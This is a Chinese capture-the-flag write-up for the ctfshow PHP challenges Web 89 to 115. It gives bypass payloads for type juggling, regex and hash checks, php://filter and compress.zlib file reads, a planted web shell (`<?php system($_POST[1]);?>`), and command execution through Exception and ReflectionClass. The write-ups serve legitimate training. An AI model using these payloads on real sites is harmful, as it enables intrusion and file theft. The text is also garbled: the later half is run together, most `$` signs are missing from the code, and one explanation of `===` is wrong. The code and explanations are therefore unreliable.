Web 89
由题目可知:
if(isset($_GET['num'])){
num = _GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
数字被过滤了
preg_match在匹配数组的时候return false?直接跳出了第一个if
intval()将传入的字符串转为整数( 不关心数组中的内容,只判断数组中有没有元素
我们提交了一个数组?num[]=a
直接就绕过了
Web 90
由题目可知:
if(isset($_GET['num'])){
num = _GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
if($num==="4476"){
die("no no no!");
}num不能以字符串"4476"的形式存在
if(intval($num,0)===4476){
echo $flag;
}
但是num转为10进制后的整数要是4476
intval($num,0)表示要将num转为10进制整数
?num=0x117c
?num=0b1000101111100
Web 91
由题目可知:
show_source(FILE);
include('flag.php');
a=_GET['cmd'];
if(preg_match('/^php/im', a)){
if(preg_match('/^php/i', a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
Notice : Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
preg_match('/^php/im', a):
im表示模式,可以匹配多行(所以我们考虑加入换行符%0a),^...$表示匹配的内容(匹配每一行的开头和结尾
preg_match('/^php/i', a):
^...$表示匹配的内容,表示单行匹配
?cmd=php%0aphp
?cmd=%0aphp
Web 92
由题目可知:
include("flag.php");
highlight_file(FILE);
if(isset($_GET['num'])){
num = _GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
看起来还是intval的使用
?num=0x117c
?num=0b1000101111100
提示:
Inval(var,base)
intval()函数如果base为0则var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123
?num=4476e123
Web 93
由题目可知:
if(isset($_GET['num'])){
num = _GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");010
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
字母也被过滤了
提示:
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制 0??? : 八进制 0X?? : 16进制
?num=010574(八进制
Web 94
由题目可知:
include("flag.php");
highlight_file(FILE);
if(isset($_GET['num'])){
num = _GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos($num, "0")
strpos() 是 PHP 内置函数,其作用是查找一个字符串在另一个字符串中首次出现的位置。该函数会返回首次出现的位置的索引值(索引从 0 开始计数),若未找到则返回 false。
那本题目就是必须要出现0(开头不能为0
==="4476"
===是全等于运算符
只比较值是否相等,在比较过程中会进行类型转换。
?num=4476.0
Web 95
由题目可知:
include("flag.php");
highlight_file(FILE);
if(isset($_GET['num'])){
num = _GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
注意到一个点$num==4476
==在比较时,仅关注两个值是否相等,不考虑它们的数据类型,也就是所谓的 "松散比较"。若两个值在转换为相同类型后数值相等,就会判定为相等。
preg_match("/[a-z]|\./i", $num) 这里"."也被过滤掉了
- == :这是松散比较运算符,它只对两个值是否相等进行判断,不考虑它们的数据类型。也就是说,在比较前会先将两个值转换为相同类型,再比较数值是否一样。
- === :属于严格比较运算符,它在判断时不仅要求两个值相等,还要求它们的数据类型也必须相同。
试了一下特殊符号:
?num=%0a010574
刚好就过了
?num=%2B010574(加号
?num=%20010574(空格
intval对于对+ " "开头的,会做一个删除处理或者将其当为正数
Web 96
由题目可知:
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
$_GET['u']=='flag.php',只要值不等于flag.php就都ok
?u=./flag.php
?u=/var/www/html/flag.php
?u=php://filter/read=string.rot13/resource=flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php
Web 97
由题目可知:
include("flag.php");
highlight_file(FILE);
if (isset(_POST\['a'\]) and isset(_POST['b'])) {
if (_POST\['a'\] != _POST['b'])
if (md5(_POST\['a'\]) === md5(_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
传入对象的MD5值是相同的
md5绕过原理:md5对数组是不予加密的,但是这个函数是返回值类型的,没有返回对象,便是返回null(null是无对象的意思,可以理解为没有目标),所以两个都是null,可以绕过里面的比较,但是外面还有一个a!=b
传入两个值不相同的数组
a[]=1&b[]=2
Web 98
由题目可知:
Notice : Undefined index: flag in /var/www/html/index.php on line 15
Notice : Undefined index: flag in /var/www/html/index.php on line 16
Notice : Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
/*
-*- coding: utf-8 -*-
@Author: h1xa
@Date: 2020-09-16 11:25:09
@Last Modified by: h1xa
@Last Modified time: 2020-09-18 21:39:27
@link: https://ctfer.com
*/
include("flag.php");
_GET?_GET=&$_POST:'flag';
_GET\['flag'\]=='flag'?_GET=&$_COOKIE:'flag';
_GET\['flag'\]=='flag'?_GET=&$_SERVER:'flag';
highlight_file(_GET\['HTTP_FLAG'\]=='flag'?flag:FILE);
flag和HTTP_FLAG在/var/www/html/index.php里面
_GET?_GET=&$_POST:'flag';
三元运算:当_GET不为空的时候_GET和_POST指向同一个地址,_POST会影响$_GET的值
当$_GET为空时,表达式的结果为'flag'
_GET\['flag'\]=='flag'?_GET=&$_COOKIE:'flag';
如果flag的值等于'flag',那么_GET和_COOKIE指向同一个地址
否则返回'flag'
_GET\['flag'\]=='flag'?_GET=&$_SERVER:'flag';
如果flag的值等于'flag',那么_GET和_SERVERE指向同一个地址
否则返回'flag'
_GET\['HTTP_FLAG'\]=='flag'?flag:FILE
如果HTTP_FLAG的值为'flag',输出$flag,否则输出当前文件
GET和POST同时传参HTTP_FLAG=flag
Web 99
由题目可知:
$allow = array();
for (i=36; i < 0x36d; $i++) {
array_push(allow, rand(1,i));
}
if(isset(_GET\['n'\]) \&\& in_array(_GET['n'], $allow)){
file_put_contents(_GET\['n'\], _POST['content']);
}
array_push:将元素添加到数组的末尾
rand(1,i):生成一个1-i之间的数//每次循环都生成一个小于i的数放在数组中,数字越小可能性越大
if(isset(_GET\['n'\]) \&\& in_array(_GET['n'], $allow):检查参数n是否在数组中
file_put_contents(_GET\['n'\], _POST['content']):
file_put_contents:将字符串写入文字
这里用户通过POST请求将传递的参数content的内容写入以$_GET['n']命名的文件中
?n=1.php
content=<?php system($_POST[1]);?>
访问1.php
1=system('ls'); 发现1.php已经被写入,并且还有flag36d.php
访问flag36d.php
得到flag
Web 100
由题目可知:
highlight_file(FILE);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
v1=_GET['v1'];
v2=_GET['v2'];
v3=_GET['v3'];
v0=is_numeric(v1) and is_numeric(v2) and is_numeric(v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("v2('ctfshow')v3");
}
}
}
?>
Notice : Undefined index: v1 in /var/www/html/index.php on line 17
Notice : Undefined index: v2 in /var/www/html/index.php on line 18
Notice : Undefined index: v3 in /var/www/html/index.php on line 19
- 赋值=运算的优先级大于逻辑运算,只需要v1为数字即可
- V2不能含有分号
- V3必须有分号
?v1=0&v2=var_dump($ctfshow)/*&v3==*/;
flag_is_e2eaa7c40x2dc8e40x2d4fc50x2db6740x2d17c99af10a41
0x2d是-
ctfshow{e2eaa7c4-c8e4-4fc50-b674-17c99af10a41}
Web 101
由题目可知:
highlight_file(FILE);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
v1=_GET['v1'];
v2=_GET['v2'];
v3=_GET['v3'];
v0=is_numeric(v1) and is_numeric(v2) and is_numeric(v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\\|\\%\|\\\^\|\\\*\|\\)\|\\-\|\\_\|\\+\|\\=\|\\{\|\\\[\|\\"\|\\'\|\\,\|\\.\|\\;\|\\?\|\[0-9\]/", v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\\|\\%\|\\\^\|\\\*\|\\(\|\\-\|\\_\|\\+\|\\=\|\\{\|\\\[\|\\"\|\\'\|\\,\|\\.\|\\?\|\[0-9\]/", v3)){
eval("v2('ctfshow')v3");
}
}
}
?>
?v1=1&v2=echo new Reflectionclass&v3=;
reflectionclass类可以获得类的反射对象(包含元数据信息
flag少一位,最后一位需要爆破
没弄懂爆破怎么抓包,0-g挨个试的
Web 102
由题目可知:
highlight_file(FILE);
v1 = _POST['v1'];
v2 = _GET['v2'];
v3 = _GET['v3'];
v4 = is_numeric(v2) and is_numeric($v3);
if($v4){
s = substr(v2,2);
str = call_user_func(v1,$s);
echo $str;
file_put_contents(v3,str);
}
else{
die('hacker');
}
?>
v1发POST
v2,v3发GET
v2必须是数字,v4才能成立
substr($v2,2),从v2的第三个字符开始截取
call_user_func(v1,s),s作为参数传给回调函数v1的值
file_put_contents(v3,str) 将str中的内容写入到v3指定的文件中
先从字符串 $v2 中截取部分内容,然后使用 call_user_func() 调用一个函数对截取的内容进行处理,接着输出处理后的结果,并将处理后的结果写入到指定的文件中。
官方的wp:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag
5044383959474e6864434171594473是**<?=`cat *`;** 先base64编码再转为16进制的,e可以作为科学计数法逃过过滤,v2依旧是数字,前面的11是因为v2的内容被截断了前两位
Web 103
由题目可知:
highlight_file(FILE);
v1 = _POST['v1'];
v2 = _GET['v2'];
v3 = _GET['v3'];
v4 = is_numeric(v2) and is_numeric($v3);
if($v4){
s = substr(v2,2);
str = call_user_func(v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents(v3,str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
和102相比较多了一个对php的过滤
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问2.php后查看源代码获得flag
那个php字符串是针对v2的,所以对于这道题并没有什么影响
Web 104
由题目可知:
highlight_file(FILE);
include("flag.php");
if(isset(_POST\['v1'\]) \&\& isset(_GET['v2'])){
v1 = _POST['v1'];
v2 = _GET['v2'];
if(sha1(v1)==sha1(v2)){
echo $flag;
}
}
?>
sha1(v1)==sha1(v2):
sha1(string $str):计算SHA-1的哈希值
我的理解基本上就是v1和v2的哈希值相同,那么就构造v1=v2?(在这里并没有要求v1v2的值不相等
?v1=1
v2=1
?v1=aaa
v2=aaa
上述两个都可以过
Web 105
由题目可知:
highlight_file(FILE);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach(_GET as key => $value){
if($key==='error'){
die("what are you doing?!");
}
key=$$value; }foreach($_POST as $key =\> $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST\['flag'\]==$flag)){ die($error); } echo "your are good".$flag."\\n"; die($suces); ?\> 你还想要flag嘛? 看大师傅的讲解,就是一个值覆盖的问题  最后打印error的值打印出来flag(注意这里的flag是从die($error)这里输出的 ?suces=flag error=suces ### Web 106 由题目可知: highlight_file(__FILE__); include("flag.php"); if(isset($_POST\['v1'\]) \&\& isset($_GET\['v2'\])){ $v1 = $_POST\['v1'\]; $v2 = $_GET\['v2'\]; if(sha1($v1)==sha1($v2) \&\& $v1!=$v2){ echo $flag; } } ?\> 这次和104不一样了,限制了v1!=v2 大师傅在104的视频讲过可以输入绕过,且数组的值不相等 ?v2\[\]=1 v1\[\]=2 ### Web 107 由题目可知: highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST\['v1'\])){ $v1 = $_POST\['v1'\]; $v3 = $_GET\['v3'\]; parse_str($v1,$v2); if($v2\['flag'\]==md5($v3)){ echo $flag; } } ?\> parse_str($v1,$v2); parse_str($str,$arr); 将字符串解析为多个键值对,解析得到的变量存储在数组中 $v1被解析成多个键值对,存储在$v2数组中 ?v3\[\]=1 v1\[\]=1(具体参考web97的md5绕过 ?v3\[\]=1 v1=1 试了一下这个好像也能过 看了看其他师傅的文章,直接对v3的值进行md5编码再赋值给v1也是ok的 ### Web 108 由题目可知: highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("\^\[a-zA-Z\]+$", $_GET\['c'\])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET\['c'\]))==0x36d){ echo $flag; } ?\> (ereg ("\^\[a-zA-Z\]+$", $_GET\['c'\])===FALSE): ereg:正则判断,判断参数c中是否含有大小写字母,如果没有,返回FALSE //c要是由字母组成的 ereg()存在2个漏洞: 1. 当password为数组时返回的是null 2. 当遇到%00是会被截断(截断漏洞) strrev():将字符串反转 0x36d=877 反转就是778 利用ereg的截断漏洞,?c=a%00778 ### Web 109 由题目可知: highlight_file(__FILE__); error_reporting(0); if(isset($_GET\['v1'\]) \&\& isset($_GET\['v2'\])){ $v1 = $_GET\['v1'\]; $v2 = $_GET\['v2'\]; if(preg_match('/\[a-zA-Z\]+/', $v1) \&\& preg_match('/\[a-zA-Z\]+/', $v2)){ eval("echo new $v1($v2());"); } } ?\> v1v2都是字母组成 ?v1=Exception\&v2=system('ls') ?v1=Exception\&v2=system('tac fl36dg.txt') [https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail\&sharetype=blogdetail\&sharerId=140434543\&sharerefer=PC\&sharesource=2301_81388789\&sharefrom=from_link](https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail&sharetype=blogdetail&sharerId=140434543&sharerefer=PC&sharesource=2301_81388789&sharefrom=from_link "https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail&sharetype=blogdetail&sharerId=140434543&sharerefer=PC&sharesource=2301_81388789&sharefrom=from_link") 实在做不下去了,还是看看其他师傅的文章吧TAT,不懂原理抄了答案也没用 new $v1 创建一个名为 v1 的类的实例,($v2()) 调用 v2 方法,将其返回值作为参数传递给 v1 类的构造函数,echo 输出创建的对象,由于 echo,如果 v1 类实现了 __toString() 方法,该方法会被调用并输出结果。 利用点: PHP 的魔术方法 __toString() 和异常处理机制实现执行任意代码。 魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。因此,通过使用这些类,可以将代码注入到 eval 中并输出结果。 构造特定的 v1 和 v2 参数,可以利用这一机制执行任意代码,payload: ?v1=Exception\&v2=system('ls') ?v1=CachingIterator\&v2=system(ls) ?v1=ReflectionClass\&v2=system('tac fl36dg.txt') 其中 v1 是一个可以转换为字符串的类,v2 是一个有效的函数名,可以执行并返回结果作为 v1 类的构造函数参数 ### Web 110 由题目可知: highlight_file(__FILE__); error_reporting(0); if(isset($_GET\['v1'\]) \&\& isset($_GET\['v2'\])){ $v1 = $_GET\['v1'\]; $v2 = $_GET\['v2'\]; if(preg_match('/\\\~\|\\\`\|\\!\|\\@\|\\#\|\\\\$\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\_\|\\-\|\\+\|\\=\|\\{\|\\\[\|\\;\|\\:\|\\"\|\\'\|\\,\|\\.\|\\?\|\\\\\\\\\|\\/\|\[0-9\]/', $v1)){ die("error v1"); } if(preg_match('/\\\~\|\\\`\|\\!\|\\@\|\\#\|\\\\$\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\_\|\\-\|\\+\|\\=\|\\{\|\\\[\|\\;\|\\:\|\\"\|\\'\|\\,\|\\.\|\\?\|\\\\\\\\\|\\/\|\[0-9\]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); } ?\> [https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail\&sharetype=blogdetail\&sharerId=140434543\&sharerefer=PC\&sharesource=2301_81388789\&sharefrom=from_link](https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail&sharetype=blogdetail&sharerId=140434543&sharerefer=PC&sharesource=2301_81388789&sharefrom=from_link "https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail&sharetype=blogdetail&sharerId=140434543&sharerefer=PC&sharesource=2301_81388789&sharefrom=from_link") php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getchwd() 函数会返回当前工作目录。 payload: ?v1=FilesystemIterator\&v2=getcwd FilesystemIterator 是 PHP 中一个用于遍历文件系统目录的迭代器类,它继承自 DirectoryIterator 并实现了 SeekableIterator 接口。这个类提供了一种简单且灵活的方式来遍历目录中的文件和子目录 感觉My6n师傅讲解的特别详细了 getcwd读取当前目录下内容,所以直接访问fl36dga.txt就可以 ### Web 111 由题目可知: highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(\&$v1,\&$v2){ eval("$$v1 = \&$$v2;"); var_dump($$v1); } if(isset($_GET\['v1'\]) \&\& isset($_GET\['v2'\])){ $v1 = $_GET\['v1'\]; $v2 = $_GET\['v2'\]; if(preg_match('/\\\~\| \|\\\`\|\\!\|\\@\|\\#\|\\\\$\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\_\|\\-\|\\+\|\\=\|\\{\|\\\[\|\\;\|\\:\|\\"\|\\'\|\\,\|\\.\|\\?\|\\\\\\\\\|\\/\|\[0-9\]\|\\\<\|\\\>/', $v1)){ die("error v1"); } if(preg_match('/\\\~\| \|\\\`\|\\!\|\\@\|\\#\|\\\\$\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\_\|\\-\|\\+\|\\=\|\\{\|\\\[\|\\;\|\\:\|\\"\|\\'\|\\,\|\\.\|\\?\|\\\\\\\\\|\\/\|\[0-9\]\|\\\<\|\\\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?\> [https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail\&sharetype=blogdetail\&sharerId=140434543\&sharerefer=PC\&sharesource=2301_81388789\&sharefrom=from_link](https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail&sharetype=blogdetail&sharerId=140434543&sharerefer=PC&sharesource=2301_81388789&sharefrom=from_link "https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail&sharetype=blogdetail&sharerId=140434543&sharerefer=PC&sharesource=2301_81388789&sharefrom=from_link") 先看getFlag函数,将v1和v2的值对换,再对v1的值进行打印,还是一个变量赋值的问题 V1还必须含有ctfshow,我们首先尝试 ?v1=ctfshow\&v2=flag 显示NULL 根据My6n师傅的分析,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用。因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。 ?v1=ctfshow\&v2=GLOBALS 得到flag ### Web 112 由题目可知: highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\\.\\.\\/\|http\|https\|data\|input\|rot13\|base64\|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET\['file'\]; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } 函数绕过 file不能是文件 (preg_match('/\\.\\.\\/\|http\|https\|data\|input\|rot13\|base64\|string/i',$file)) 根据过滤的内容来猜大概率是filter,用伪协议绕过 ?file=php://filter/resource=flag.php ### Web 113 由题目可知: highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter\|\\.\\.\\/\|http\|https\|data\|data\|rot13\|base64\|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET\['file'\]; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } 还是函数绕过,emmm,filter也被过滤掉了 ?file=compress.zlib://flag.php compress.zlib 是php内置的一种流包装器。流包装器是php提供的一种抽象机制,允许类似文件操作的方式来访问各种不同的数据源,如本地文件、网络资源、压缩文件等。 如果代码没有对 $file 的值进行有效检查,攻击者通过传入 compress.zlib://flag.php 这样的参数,就可能读取到 flag.php 文件的内容,从而获取敏感信息。 ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php 上面这个是官方给的payload 其中 /proc/self/root 是 Linux 系统中一个特殊的符号链接,它始终指向当前进程的根目录。 由于目录溢出导致 is_file 无法正确解析,认为这不是一个文件,返回 FALSE。 ### Web 114 由题目可知: error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress\|root\|zip\|convert\|\\.\\.\\/\|http\|https\|data\|data\|rot13\|base64\|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET\['file'\]; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } file=php://filter/resource=flag.php ### Web 115 由题目可知: include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET\['num'\]; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; [https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail\&sharetype=blogdetail\&sharerId=140434543\&sharerefer=PC\&sharesource=2301_81388789\&sharefrom=from_link](https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail&sharetype=blogdetail&sharerId=140434543&sharerefer=PC&sharesource=2301_81388789&sharefrom=from_link "https://myon6.blog.csdn.net/article/details/140434543?fromshare=blogdetail&sharetype=blogdetail&sharerId=140434543&sharerefer=PC&sharesource=2301_81388789&sharefrom=from_link") str_replace()函数替换字符串中的字符(区分大小写 trim()函数一处字符串两侧的空白字符或其他与定义字符 要求在 filter 函数前 $num 不能为 36,但是执行 filter 函数后 $num 又要等于 36。 对于 trim() 函数会去除空格( %20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)。 filter示弱比较,会先进行类型转换再进行比较 ?num=%0c36